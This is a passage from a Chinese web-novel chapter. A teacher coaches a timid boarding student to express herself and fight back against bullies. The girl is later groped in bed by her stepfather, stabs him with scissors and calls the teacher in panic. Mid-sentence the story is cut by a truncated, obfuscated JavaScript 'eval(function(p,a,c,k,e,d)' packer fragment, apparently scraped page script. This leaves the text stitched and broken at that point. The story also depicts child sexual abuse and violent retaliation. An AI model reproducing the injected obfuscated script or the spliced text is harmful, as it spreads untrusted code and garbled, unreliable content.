“嗐,什么大明星啊。她那乐队混得也挺落魄的,还不是得出来上班讨生活。不过听说最近跟叶英华混上了,可能快要咸鱼翻身了。叶英华你应该听说过吧?” 这回宋小苇点了点头。 段雪晨吃了几个馄饨,嫌汤有点淡了,便起身去窗口讨了个酱油壶,想给汤加点味道,又问宋小苇:“你要不要加点?” 宋小苇不吭声,但她没主动答应说要,显然就是不想要的意思了。 其实段雪晨看出来了,但还是作势要往她的碗里加酱油。眼见酱油就快要倒出来了,宋小苇依然没有拒绝的意思。 段雪晨在心里叹了口气,把酱油壶放到了桌上。 宋小苇有些迷惑地看向她。 “你不想加酱油,为什么不说呢?一句话的事,非要委屈自己吃咸馄饨?” 宋小苇下巴都快戳到了锁骨上,嗫嚅道:“我,我怕老师会不高兴。” “我有什么可不高兴的,你吃你的,我吃我的,没有影响啊。” 段雪晨怕话说重了她又蜷起来了,好声好气地教她:“你得把心里的想法说出来,不说出来别人怎么知道呢?你要是总顺着别人,就得一辈子吃自己不喜欢吃的东西,一辈子做自己不想做的事,那多苦啊。” 宋小苇谨遵教诲:“知道了。” “好了,那现在你再跟我说句实话,到底想不想加酱油?” 这回宋小苇终于说道:“不想。” 段雪晨笑道:“是嘛,这不就对了。” 吃完了夜宵,段雪晨领着宋小苇回了自己宿舍,翻出mp3的充电线拿给她,又想到个事:“要不要我帮你把我表姐那个乐队的歌都下载到mp3里,你拿回去慢慢听?” 段雪晨看到宋小苇的眼睛立刻就亮了,但还是没好意思说要。于是她问:“要不要?说出来。” 宋小苇鼓起勇气说:“要。” 下载歌曲的时候,段雪晨打开网页搜索表姐的乐队,跳出来一些当年他们参加选秀的新闻和图片,还有成员们的介绍。她把笔记本转向宋小苇,宋小苇终于真正认识了耳机里这支叫作明日回信的乐队。 “好了。”等歌曲都下载完毕,段雪晨把数据线拔了,将mp3重新交给宋小苇,“以后想听什么歌我再帮你下载,记得要自己跟我说。” 宋小苇道:“知道了,谢谢老师。” 从这天之后,两个人渐渐熟络起来了,段雪晨时不时请宋小苇吃个夜宵,也会邀请她到自己宿舍坐坐。她发现宋小苇周末都不太回家,顶多去学校对面的超市买点生活用品,或者跟舍友在校园里溜达一圈,剩下的时间就待在宿舍睡觉,现在还多了一项娱乐活动——听歌。 段雪晨好奇道:“周末你怎么都不回去?你不想妈妈吗?” 想当年她上高中寄宿时,每到周末就立刻飞奔回家,顺便把攒下的脏衣服拿回去丢洗衣机,家里还会给她加菜,每周就盼着这个了。 宋小苇说:“我妈周末不休息。” “不休息也可以回去跟她一起吃个饭,说说话吧。” 宋小苇犹豫了一下,只说:“不太方便。” 这还能有什么不方便的?段雪晨摸不着头脑。她觉得这母女俩多年来相依为命,关系应该是很亲近的,不至于每周见个面都成问题。难不成是宋小苇的妈妈工作太忙,实在抽不开身? 见宋小苇不愿多说,她便也不问了。 宋小苇平时生活极其节俭,一毛钱都掰成两毛花,只要尽量别把生活费用完,就可以拖着不回家跟母亲拿钱了。母亲倒也不是苛待她,只是每次给钱都要抱怨一番赚钱难、压力大,让她心里很不好受。 而且前阵子杨叔叔的合租室友回乡了,他也退了租,搬进来跟母亲住到了一起,她就更不敢回去了。 入了秋,天气一天比一天冷下来。段雪晨见宋小苇也没几件御寒的衣服,周末回家就翻找出了几件闲置的厚衣服,成色还挺新,但款式太学生气,不太适合上班穿了,于是都打包了一起拿给宋小苇。 某个宋小苇不回家的周末,段雪晨还带她出去玩了。两个人一起看了电影,吃了披萨。这是宋小苇第三次进城。 段雪晨发现宋小苇确实变得开朗了不少,也学会说出自己的想法了,偶尔甚至还会拒绝。虽然也可能只在面对她时才这样。 有一次段雪晨周日回校加班,从家里带了点菜来,打算晚上自己煮个火锅,还打电话到宋小苇的宿舍叫她一起来吃。 宋小苇平时得了她太多照顾,这次不好意思再坐着等吃饭,便主动洗菜切菜,忙前忙后。段雪晨发现她做这些远比自己要熟练得多。 她看着宋小苇正在给切好的莴笋条装盘,忽然起了玩心,拿起手边刚剥下的一个栗子壳朝她丢去,正好砸在了她的后脑上。 宋小苇转过头来,眉头微微皱起,眼中含了点愠怒。不过那点愠怒很快就消散了,转成了无奈的笑意。仿佛在说,老师都是大人了,怎么还这么幼稚啊。 段雪晨却像发现了什么新大陆,非常高兴地说:“对,就是刚才那样,就是那种眼神。” 宋小苇没明白她的意思:“什么眼神?” “你刚才生气瞪我的眼神。” 宋小苇立刻否认:“我、我没有生气。” 但那一瞬间的情绪是遮掩不住的,也是骗不了人的。 段雪晨说:“被砸中脑袋了生气很正常啊,我又不是要怪你。学会生气了,才算是一个活人了。” 嘴里这么说着,段雪晨抓起一个栗子壳又丢向了宋小苇,这回砸在了她胸口,她笑说:“所以你要怎么办,就这么老实站着让我砸吗?” 宋小苇有些不知所措,既然段老师非要砸她,她总不能不让吧,毕竟段老师对她那么好。 段雪晨不满道:“这时候你得砸回来知道吗?像这样——” 她抓了一把栗子壳又朝宋小苇丢去,这回数量太多,宋小苇本能地躲开了。段雪晨又再丢,空壳洒得到处都是:“你怎么还不还手?像这样砸我,你不会吗?” 宋小苇终于开始反击了,从地上抓起几个空壳就朝她丢去。段雪晨见她还手了,更是来了劲,见茶几上那堆栗子空壳都给扔没了,她抓向那些没剥的栗子就往宋小苇身上砸,然后又被宋小苇捡起砸回来。两个人你来我往,都不甘示弱,在小小的宿舍里闹作一团。 最后一个跌坐在床上,一个笑倒在椅子上。宋小苇看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冯老师听出她话里话外在责备自己纵容学生受欺负,也话里藏刀道:“那也不能动手吧?这样跟外面的混混有什么区别。也不知道什么样的老师才会支持学生变混混。” 段雪晨反正把辞职报告都交了,现在也不怕得罪人了,说:“别管什么混混不混混的,我觉得就是得讲究个公平。混混欺负学生的时候当没看到,那学生打回去的时候也当没看到就行了呗。” 她笑嘻嘻道:“反正我这样的老师可不会双标哈。” 办公室一瞬间就安静下来了。 过后她又请宋小苇吃夜宵,连声夸奖她今天干得漂亮:“你今天这招非常聪明。都说擒贼先擒王,你只要把带头的那个打服了,往后就没人敢再来招惹你了。” 但宋小苇当时其实并没有想那么多:“我也不知道的,那下子太生气了,还没反应过来就扛起椅子砸过去了。” 段雪晨笑道:“所以你看,生气多好啊,生气就对了。” 新年到来,这个学期就快要结束了,冬天也到了最冷的时候。段雪晨在学期末忙得焦头烂额,周末也没空回家,每天就凭那一口气吊着,只能告诉自己再忍忍,熬完最后几天就苦尽甘来了。 宋小苇也在埋头复习,认真准备期末考试。她本想坚持到考完试再回家,但生活费实在是挤不出来了,这周无论如何都要回去了。 杨叔叔搬进来后,她比以前更加抗拒回到那个地方。那里已经不是她和母亲的家,而是被杨叔叔侵占的一片领地。 她磨磨蹭蹭地拖到了周六,在傍晚才坐上回镇上的公交车,打算明天一早就返校。 她之前给母亲打了电话说今天回去,母亲晚上就多加了个菜。吃完晚饭她去洗碗,母亲和杨叔叔坐在一起看电视,就像是幸福的一家三口。 宋小苇不知道为什么幸福的家庭非得是这个模样,总之电视上都是这么演的。但杨叔叔加入之后,她一点也感觉不到幸福。 时间不早了,到了该休息的点。杨叔叔凌晨四点钟就要起床去送货,晚上得早点睡觉。宋小苇因为平时住校,她的小床上都堆满了东西,这时候她收拾一番,再将帘子放下来,把母亲和杨叔叔的床隔开,背对着他们躺好了。 她是穿着外衣外裤睡下的,再把被子盖得严严实实,闭上了眼睛。她睡得不太安稳,一有动静就醒了过来。她听到房间里有脚步声,然后是洗漱的声音,是杨叔叔起床了吗? 她越发的紧张,摸到那个红色的mp3,戴上耳机,从列表里找了一首最喜欢的歌。吵闹的音乐盖过了房间里的声响,令她安心了一些。 然而在她察觉不到的时候,脚步靠近了她。 一只手掀开了帘子,伸进了她的棉被,碰到了她的小腿,然后逐渐往上摸索。 宋小苇顿时一个惊颤,双手抓紧了被子。又来了,又来了! 胃里泛起一股强烈的恶心,这回还要继续忍耐吗?还要无声地默许吗? 这时耳机里的歌正唱到了高潮处—— 是谁听惯了求饶 是谁曾反复祷告 血色翻涌,终见到隐藏太久的刀 对了,刀。 她的刀呢? 杀了他! 不忍了,杀了他! 在那个瞬间,一股前所未有的烈火灼烧着她的胸口。她来不及思考就从枕头底下抽出了那把锋利的剪刀,朝黑暗之中那个更黑暗的影子刺去:“滚开!流氓!你不要碰我!” 她感觉刀尖刺进了血肉,那个黑影果然发出了一声疼痛的闷哼。她什么都不顾了,这半年来的屈辱和恐惧都化为了无穷无尽的愤怒,驱使她疯狂地再刺向那个黑影。黑影躲开了,她甚至跳下床去追赶他——或者应该叫追杀他:“你再过来啊!我现在就捅死你!我杀了你也不用坐牢!” 杨叔叔手忙脚乱地闪躲,撞到了屋里的桌椅衣柜,叫道:“停、停!别乱来!你这个疯丫头!发什么神经!” 这时宋文艳也被吵醒了,打开床头的灯,问:“怎么回事?在闹什么?” 电灯刺眼,突然到来的光线唤回了宋小苇的理智。她看到手中沾染了血迹的剪刀,顿时吓得扔掉了。刚才她都做了些什么?这下应该怎么办? 她害怕极了,连鞋子也来不及穿,匆忙打开门就逃了出去。 凌晨的小镇已经慢慢苏醒,附近农贸市场的商贩正要开始一天的忙碌。她赤着脚跑到街上,拦下一辆面包车,乞求司机把手机借给她打个电话。 司机怀疑地上下打量她,见她哭得可怜,还是掏出了手机递给她。 她按下一串熟悉的手机号码,打给那个她唯一可以求助的人。 电话响了很久才接通,那头的段雪晨困意朦胧,没好气道:“谁啊?” 她颤抖地、带着哭腔说道:“段老师,我、我杀人了……”